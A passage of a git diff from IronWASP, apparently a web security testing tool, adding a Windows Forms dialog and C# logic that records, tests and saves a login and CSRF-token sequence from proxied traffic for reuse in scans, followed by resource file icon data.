System.Drawing.Point(166, 40); + this.SaveStepNameTB.Name = "SaveStepNameTB"; + this.SaveStepNameTB.Size = new System.Drawing.Size(298, 20); + this.SaveStepNameTB.TabIndex = 19; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(64)))), ((int)(((byte)(0))))); + this.label5.Location = new System.Drawing.Point(8, 43); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(154, 13); + this.label5.TabIndex = 17; + this.label5.Text = "Enter a name for this recording:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.ForeColor = System.Drawing.Color.Black; + this.label6.Location = new System.Drawing.Point(6, 11); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(261, 17); + this.label6.TabIndex = 18; + this.label6.Text = "Save this recording to use in scans and tests. "; + // + // SaveRecordingDialog + // + this.SaveRecordingDialog.DefaultExt = "sessrec"; + this.SaveRecordingDialog.Filter = "Recordings|*.sessrec"; + this.SaveRecordingDialog.SupportMultiDottedExtensions = true; + // + // Recorder + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(584, 211); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(600, 250); + this.MinimumSize = new System.Drawing.Size(600, 250); + this.Name = "Recorder"; + this.Text = "Record Login and CSRF Token Handling Sequence"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.IronRecorder_FormClosing); + this.Load += new System.EventHandler(this.IronRecorder_Load); + this.BaseTabs.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage1.PerformLayout(); + this.tabPage2.ResumeLayout(false); + this.tabPage2.PerformLayout(); + this.tabPage3.ResumeLayout(false); + this.tabPage3.PerformLayout(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label FirstTextboxLbl; + private System.Windows.Forms.Label InstructionLbl; + private System.Windows.Forms.Label TopMsgLbl; + private System.Windows.Forms.TextBox ConfigureStepPasswordTB; + private System.Windows.Forms.TextBox ConfigureStepUsernameTB; + private System.Windows.Forms.Label SecondTextboxLbl; + private System.Windows.Forms.Label ConfigureStepErrorLbl; + private System.Windows.Forms.SaveFileDialog SaveRecordingDialog; + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TextBox ConfigureStepCsrfTokenTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label RecordStepLoginInstructionLbl; + private System.Windows.Forms.Label RecordStepCsrfInstructionLbl; + private System.Windows.Forms.Button RecordStepCancelBtn; + private System.Windows.Forms.Button RecordStepStartBtn; + private System.Windows.Forms.Label RecordStepCsrfStatusLbl; + private System.Windows.Forms.Label RecordStepLoginStatusLbl; + private System.Windows.Forms.Label RecordStepStatusHeaderLbl; + private System.Windows.Forms.Button TestStepCancelBtn; + private System.Windows.Forms.ProgressBar TestStepProgressBar; + private System.Windows.Forms.Label TestStepHeaderLbl; + private System.Windows.Forms.TextBox TestStepStatusTB; + private System.Windows.Forms.TextBox SaveStepNameTB; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.LinkLabel SaveStepSaveLL; + private System.Windows.Forms.Label SaveStepErrorLbl; + private System.Windows.Forms.LinkLabel TestStepRetryLL; + private System.Windows.Forms.Button TestStepWaitMoreBtn; + private System.Windows.Forms.Button TestStepDontWaitBtn; + private System.Windows.Forms.Label SaveStepConfirmationMsbLbl; + private System.Windows.Forms.Button ConfigureStepSubmitBtn; + } +} \ No newline at end of file diff --git a/Iron/Recording/Recorder.cs b/Iron/Recording/Recorder.cs new file mode 100644 index 0000000..70e2822 --- /dev/null +++ b/Iron/Recording/Recorder.cs @@ -0,0 +1,763 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Text.RegularExpressions; +using System.Windows.Forms; +using System.Threading; +using System.Xml; +using System.IO; + +namespace IronWASP.Recording +{ + public partial class Recorder : Form + { + static Recorder OpenRecorder = null; + + //public int StartLogId = 0; + //public int LoginCompleteLogId = 0; + //public int LoggedOutLogId = 0; + + string Username = ""; + string Password = ""; + + string CsrfParameterName = ""; + + static List LogsWithLoginCreds = new List(); + static List LogsWithCsrfParams = new List(); + + int RecordingStartLogId = 0; + int RecordingCompleteLogId = 0; + + const int DefaultRecordingCompletionWaitTime = 5; + + int RecordingCompletionWaitTime = DefaultRecordingCompletionWaitTime; + + int CurrentStep = 0; + + Thread AnalysisThread = null; + Thread RecordingCompletionWaitThread = null; + + Recording CurrentRecording = null; + + bool RecordingInProgress = false; + + public Recorder() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenRecorder = new Recorder(); + OpenRecorder.Show(); + } + OpenRecorder.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenRecorder == null) + { + return false; + } + else if (OpenRecorder.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static void AddParameterValues(Session Sess) + { + if (IsRecording) + { + Request Req = Sess.Request; + + List Values = new List(); + foreach (string Name in Req.Query.GetNames()) + { + Values.AddRange(Req.Query.GetAll(Name)); + } + if(Req.BodyType == BodyFormatType.UrlFormEncoded) + { + foreach (string Name in Req.Body.GetNames()) + { + Values.AddRange(Req.Body.GetAll(Name)); + } + } + else + { + FormatPlugin FP = FormatPlugin.Get(Req.BodyType); + if(FP != null) + { + try + { + string[,] ParaValues = FormatPlugin.XmlToArray(FP.ToXmlFromRequest(Req)); + for(int i=0; i < ParaValues.GetLength(0); i++) + { + Values.Add(ParaValues[i,1]); + } + } + catch{} + } + } + if (Values.Contains(OpenRecorder.Username) && Values.Contains(OpenRecorder.Password)) + { + lock (LogsWithLoginCreds) + { + LogsWithLoginCreds.Add(Sess.LogId); + } + CheckIfRecordingGoalsMet(); + } + } + } + + static void ClearRecordedData() + { + LogsWithLoginCreds.Clear(); + LogsWithCsrfParams.Clear(); + } + + internal static void AddHiddenFieldValues(Session Sess) + { + List HiddenFields = new List(); + if (IsRecording) + { + if (OpenRecorder.CsrfParameterName.Length > 0) + { + Response Res = Sess.Response; + if (Res.IsHtml) + { + List Nodes = Res.Html.GetNodes("input", "type", "hidden"); + foreach (HtmlAgilityPack.HtmlNode Node in Nodes) + { + IronHtml.InputElement InEl = new IronHtml.InputElement(Node, 0); + if (InEl.Name.Equals(OpenRecorder.CsrfParameterName) && InEl.Value.Trim().Length > 0) + { + lock (LogsWithCsrfParams) + { + LogsWithCsrfParams.Add(Sess.LogId); + CheckIfRecordingGoalsMet(); + } + } + } + } + } + } + } + + static void CheckIfRecordingGoalsMet() + { + try + { + if (IsRecording) + { + if (LogsWithLoginCreds.Count > 0) + { + OpenRecorder.UpdateLoginCredsFindingInRecording(); + } + bool GoalsMet = false; + if (OpenRecorder.CsrfParameterName.Length > 0) + { + foreach (int LoginLogId in LogsWithLoginCreds) + { + foreach (int CsrfLogId in LogsWithCsrfParams) + { + if (CsrfLogId >= LoginLogId) + { + GoalsMet = true; + break; + } + } + if (GoalsMet) + { + break; + } + } + } + else + { + if (LogsWithLoginCreds.Count > 0) + { + GoalsMet = true; + } + } + if (GoalsMet) + { + //OpenRecorder.RecordingCompleteLogId = Config.LastProxyLogId; + OpenRecorder.UpdateRecordingCompletion(); + } + } + } + catch { } + } + + public static bool IsRecording + { + get + { + try + { + if(OpenRecorder.RecordingInProgress) + { + return true; + } + else + { + return false; + } + } + catch + { + return false; + } + } + } + + private void StartStopBtn_Click(object sender, EventArgs e) + { + if (IsRecording) + { + StopRecording(); + } + else + { + StartRecording(); + } + } + + void StartRecording() + { + TopMost = true; + ControlBox = false; + + ClearRecordedData(); + + RecordingStartLogId = Config.LastProxyLogId + 1; + + RecordStepStartBtn.Text = "Stop Recording"; + RecordStepLoginInstructionLbl.Visible = true; + if (CsrfParameterName.Length > 0) + { + RecordStepCsrfInstructionLbl.Visible = true; + } + RecordStepStatusHeaderLbl.Visible = true; + RecordStepLoginStatusLbl.Visible = true; + if (CsrfParameterName.Length > 0) + { + RecordStepCsrfStatusLbl.Visible = true; + } + RecordingInProgress = true; + } + + void StopRecording() + { + RecordingInProgress = false; + ResetRecordStep(); + TopMost = false; + ControlBox = false; + } + + delegate void ShowAnalysisStart_d(); + void ShowAnalysisStart() + { + if (this.InvokeRequired) + { + ShowAnalysisStart_d CALL_d = new ShowAnalysisStart_d(ShowAnalysisStart); + this.Invoke(CALL_d, new object[] { }); + } + else + { + TestStepHeaderLbl.Text = "Recording is being tested to confirm if it can be successfully replayed. This can take a few minutes...."; + TestStepProgressBar.Visible = true; + TestStepStatusTB.Visible = false; + TestStepRetryLL.Visible = false; + TestStepWaitMoreBtn.Visible = false; + TestStepDontWaitBtn.Visible = false; + } + } + + delegate void HandleAnalysisResult_d(bool Success); + void HandleAnalysisResult(bool Success) + { + if (this.InvokeRequired) + { + HandleAnalysisResult_d CALL_d = new HandleAnalysisResult_d(HandleAnalysisResult); + this.Invoke(CALL_d, new object[] { Success }); + } + else + { + TestStepProgressBar.Visible = false; + ControlBox = true; + + if (Success) + { + GoToSaveStep(); + } + else + { + TestStepHeaderLbl.Text = "Test complete!"; + TestStepStatusTB.Text = "The recording could not be successfully replayed. If you are still logged in to the application, logout and click 'Retry' below. If that does not fix it then the application is too complex to be recording with the current version of IronWASP."; + TestStepStatusTB.Visible = true; + TestStepRetryLL.Visible = true; + } + } + } + + delegate void UpdateLoginCredsFindingInRecording_d(); + void UpdateLoginCredsFindingInRecording() + { + if (this.InvokeRequired) + { + UpdateLoginCredsFindingInRecording_d CALL_d = new UpdateLoginCredsFindingInRecording_d(UpdateLoginCredsFindingInRecording); + this.Invoke(CALL_d, new object[] { }); + } + else + { + RecordStepLoginStatusLbl.Visible = true; + RecordStepLoginStatusLbl.ForeColor = Color.Green; + RecordStepLoginStatusLbl.Text = "Request containing the Login credentials has been found in the recording!!"; + } + } + + delegate void UpdateCsrfFieldFindingInRecording_d(); + void UpdateCsrfFieldFindingInRecording() + { + if (this.InvokeRequired) + { + UpdateCsrfFieldFindingInRecording_d CALL_d = new UpdateCsrfFieldFindingInRecording_d(UpdateCsrfFieldFindingInRecording); + this.Invoke(CALL_d, new object[] { }); + } + else + { + RecordStepCsrfStatusLbl.Visible = true; + RecordStepCsrfStatusLbl.ForeColor = Color.Green; + RecordStepCsrfStatusLbl.Text = "CSRF token parameter has been found in a hidden input field.!!"; + } + } + + delegate void UpdateRecordingCompletion_d(); + void UpdateRecordingCompletion() + { + if (this.InvokeRequired) + { + UpdateRecordingCompletion_d CALL_d = new UpdateRecordingCompletion_d(UpdateRecordingCompletion); + this.Invoke(CALL_d, new object[] { }); + } + else + { + GoToTestStep(); + } + } + + delegate void UpdateRecordingCompletionWaitTimeStatus_d(); + void UpdateRecordingCompletionWaitTimeStatus() + { + if (this.InvokeRequired) + { + UpdateRecordingCompletionWaitTimeStatus_d CALL_d = new UpdateRecordingCompletionWaitTimeStatus_d(UpdateRecordingCompletionWaitTimeStatus); + this.Invoke(CALL_d, new object[] { }); + } + else + { + TestStepHeaderLbl.Text = string.Format("Waiting for {0} seconds to let the current page finish loading in the browser incase it is not fully loaded.", RecordingCompletionWaitTime); + TestStepWaitMoreBtn.Visible = true; + TestStepDontWaitBtn.Visible = true; + TestStepProgressBar.Visible = false; + } + } + + void DoAnalysisOfRecording() + { + try + { + Analysis.LogAnalyzer LogAna = new Analysis.LogAnalyzer(); + //Dictionary LoginAssosDict = LogAna.Analyze(RecordingStartLogId, LoginRecordingDoneLogId, "Proxy"); + + //Check if the last log has been written to the db + //We wait for max of 10 seconds if it is still not written then we proceed further so that an exception is thrown when processing + int WaitTime = 0; + while (WaitTime < 10000) + { + try + { + Session.FromProxyLog(RecordingCompleteLogId); + break; + } + catch { } + Thread.Sleep(1000); + WaitTime = WaitTime + 1000; + } + + Dictionary LoginAssosDict = LogAna.Analyze(RecordingStartLogId, RecordingCompleteLogId, "Proxy"); + List Creds = new List() { Username, Password }; + string CorrectUa = ""; + Analysis.LogAssociations LoginAssos = null; + foreach (string Ua in LoginAssosDict.Keys) + { + if (LoginAssosDict[Ua].GetAssociationsWithParameterValues(Creds).Count > 0) + { + CorrectUa = Ua; + LoginAssos = LoginAssosDict[Ua]; + break; + } + } + if (LoginAssos == null) + { + HandleAnalysisResult(false); + return; + } + + /* + Dictionary CsrfAssosDict = LogAna.Analyze(LoginRecordingDoneLogId, CsrfParameterRecordingDoneLogId, "Proxy"); + Analysis.LogAssociations CsrfAssos = null; + if (CsrfAssosDict.ContainsKey(CorrectUa)) + { + CsrfAssos = CsrfAssosDict[CorrectUa]; + } + if (CsrfParameterName.Length > 0 && CsrfAssos == null) + { + HandleAnalysisResult(false); + return; + } + */ + + CurrentRecording = new Recording(LoginAssos, Username, Password, CsrfParameterName); + if (!CurrentRecording.IsLoginRecordingReplayable()) + { + HandleAnalysisResult(false); + return; + } + CurrentRecording.DoLogin(); + if (CsrfParameterName.Length > 0) + { + string CT = CurrentRecording.GetCsrfToken(); + if (CT.Length == 0) + { + HandleAnalysisResult(false); + return; + } + } + } + catch (ThreadAbortException) { }//Ingore them + catch (Exception Exp) + { + IronException.Report("Error analyzing recording", Exp); + HandleAnalysisResult(false); + return; + } + Workflow.Workflow Flow = CurrentRecording.ToWorkflow(); + HandleAnalysisResult(true); + } + + void WaitForRecordingCompletion() + { + try + { + while (RecordingCompletionWaitTime > 0) + { + Thread.Sleep(1000); + RecordingCompletionWaitTime--; + UpdateRecordingCompletionWaitTimeStatus(); + } + RecordingCompleteLogId = Config.LastProxyLogId; + StartAnalysisOfRecording(); + } + catch (ThreadAbortException) { } + } + + void StartAnalysisOfRecording() + { + ShowAnalysisStart(); + try + { + AnalysisThread.Abort(); + } + catch { } + AnalysisThread = new Thread(DoAnalysisOfRecording); + AnalysisThread.Start(); + } + + bool SaveRecording() + { + string XmlString = CurrentRecording.ToXml(); + + SaveRecordingDialog.FileName = CurrentRecording.Name; + + while (SaveRecordingDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(SaveRecordingDialog.FileName); + if (Info.Name.Length == 0) + { + MessageBox.Show("Please enter a name"); + } + else if (!Info.Name.EndsWith(".sessrec")) + { + MessageBox.Show("The file extension must be .sessrec"); + } + else + { + try + { + StreamWriter Writer = new StreamWriter(Info.FullName); + Writer.Write(XmlString); + Writer.Close(); + return true; + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + break; + } + } + return false; + } + + void Reset() + { + try + { + AnalysisThread.Abort(); + } + catch { } + ResetConfigureStep(); + ResetRecordStep(); + ResetTestStep(); + ResetSaveStep(); + BaseTabs.SelectTab(0); + } + + void ResetConfigureStep() + { + ConfigureStepUsernameTB.Text = ""; + ConfigureStepPasswordTB.Text = ""; + ConfigureStepCsrfTokenTB.Text = ""; + ConfigureStepErrorLbl.Text = ""; + } + + void ResetRecordStep() + { + ClearRecordedData(); + RecordStepStartBtn.Text = "Start Recording"; + RecordStepLoginInstructionLbl.Visible = false; + RecordStepCsrfInstructionLbl.Visible = false; + RecordStepStatusHeaderLbl.Visible = false; + RecordStepLoginStatusLbl.Visible = false; + RecordStepCsrfStatusLbl.Visible = false; + } + + void ResetTestStep() + { + TestStepHeaderLbl.Text = "Waiting for 5 seconds to let the current page finish loading in the browser incase it is not fully loaded."; + TestStepProgressBar.Visible = false; + TestStepRetryLL.Visible = false; + TestStepStatusTB.Text = ""; + TestStepStatusTB.Visible = false; + } + + void ResetSaveStep() + { + SaveStepErrorLbl.Text = ""; + SaveStepNameTB.Text = ""; + SaveStepErrorLbl.Text = ""; + SaveStepConfirmationMsbLbl.Text = ""; + } + + void GoToConfigureStep() + { + ResetConfigureStep(); + CurrentStep = 0; + BaseTabs.SelectTab(CurrentStep); + } + void GoToRecordStep() + { + ResetRecordStep(); + CurrentStep = 1; + BaseTabs.SelectTab(CurrentStep); + } + void GoToTestStep() + { + ResetTestStep(); + TopMost = false; + TestStepProgressBar.Visible = false; + TestStepWaitMoreBtn.Visible = true; + TestStepDontWaitBtn.Visible = true; + + try + { + RecordingCompletionWaitThread.Abort(); + } + catch { } + RecordingCompletionWaitTime = DefaultRecordingCompletionWaitTime; + RecordingCompletionWaitThread = new Thread(WaitForRecordingCompletion); + RecordingCompletionWaitThread.Start(); + CurrentStep = 2; + BaseTabs.SelectTab(CurrentStep); + } + void GoToSaveStep() + { + ResetSaveStep(); + CurrentStep = 3; + BaseTabs.SelectTab(CurrentStep); + } + + void ShowConfigureStepError(string ErrorMsg) + { + ConfigureStepErrorLbl.Text = ErrorMsg; + ConfigureStepErrorLbl.Visible = true; + } + + void ShowSaveStepError(string ErrorMsg) + { + SaveStepErrorLbl.Text = ErrorMsg; + SaveStepErrorLbl.Visible = true; + } + + bool ProcessConfigureStepInput() + { + string Uname = ConfigureStepUsernameTB.Text; + string Passwd = ConfigureStepPasswordTB.Text; + + if (Uname.Trim().Length == 0 || Passwd.Trim().Length == 0) + { + ShowConfigureStepError("Username and Password values cannot be blank"); + return false; + } + this.Username = Uname; + this.Password = Passwd; + if (ConfigureStepCsrfTokenTB.Text.Trim().Length > 0) + { + this.CsrfParameterName = ConfigureStepCsrfTokenTB.Text; + } + return true; + } + + private void IronRecorder_FormClosing(object sender, FormClosingEventArgs e) + { + StopEverything(); + } + + private void IronRecorder_Load(object sender, EventArgs e) + { + ResetConfigureStep(); + } + + private void RecordStepStartBtn_Click(object sender, EventArgs e) + { + if (IsRecording) + { + StopRecording(); + } + else + { + StartRecording(); + } + } + + private void BaseTabs_Selected(object sender, TabControlEventArgs e) + { + if (e.TabPageIndex != CurrentStep) + { + BaseTabs.SelectTab(CurrentStep); + } + } + + private void SaveStepSaveLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (SaveStepNameTB.Text.Trim().Length == 0) + { + ShowSaveStepError("Recording name cannot be empty"); + return; + } + if (!Regex.IsMatch(SaveStepNameTB.Text.Trim(), "^[a-zA-Z0-9_]+$")) + { + ShowSaveStepError("Recording name can only contain alphabets and numbers and _ symbol"); + return; + } + if (Recording.Has(SaveStepNameTB.Text.Trim())) + { + ShowSaveStepError("A recording with this name has already been loaded, try another name."); + return; + } + + CurrentRecording.SetName(SaveStepNameTB.Text.Trim()); + CurrentRecording.WorkflowId = IronDB.LogWorkflow(CurrentRecording.ToWorkflow()); + Recording.Add(CurrentRecording); + SaveStepSaveLL.Enabled = false; + SaveStepNameTB.Enabled = false; + SaveStepErrorLbl.Visible = false; + SaveStepConfirmationMsbLbl.Text = "Recording saved! You can now use it in scans/test."; + + /* + if (SaveRecording()) + { + Recording.Add(CurrentRecording); + SaveStepSaveLL.Enabled = false; + SaveStepNameTB.Enabled = false; + SaveStepErrorLbl.Visible = false; + SaveStepConfirmationMsbLbl.Text = "Recording saved! You can now use it in scans/test and also load it from the saved file in future."; + } + else + { + ShowSaveStepError("Error saving recording to a file."); + } + */ + } + + private void ConfigureStepSubmitBtn_Click(object sender, EventArgs e) + { + if (ProcessConfigureStepInput()) + { + GoToRecordStep(); + } + } + + private void TestStepRetryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + StartAnalysisOfRecording(); + } + + private void TestStepDontWaitBtn_Click(object sender, EventArgs e) + { + RecordingCompletionWaitTime = 0; + } + + private void TestStepWaitMoreBtn_Click(object sender, EventArgs e) + { + RecordingCompletionWaitTime += 5; + } + + private void RecordStepCancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + void StopEverything() + { + try + { + AnalysisThread.Abort(); + } + catch { } + try + { + RecordingCompletionWaitThread.Abort(); + } + catch { } + } + + private void TestStepCancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Iron/Recording/Recorder.resx b/Iron/Recording/Recorder.resx new file mode 100644 index 0000000..df3dc3d --- /dev/null +++ b/Iron/Recording/Recorder.resx @@ -0,0 +1,1921 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + 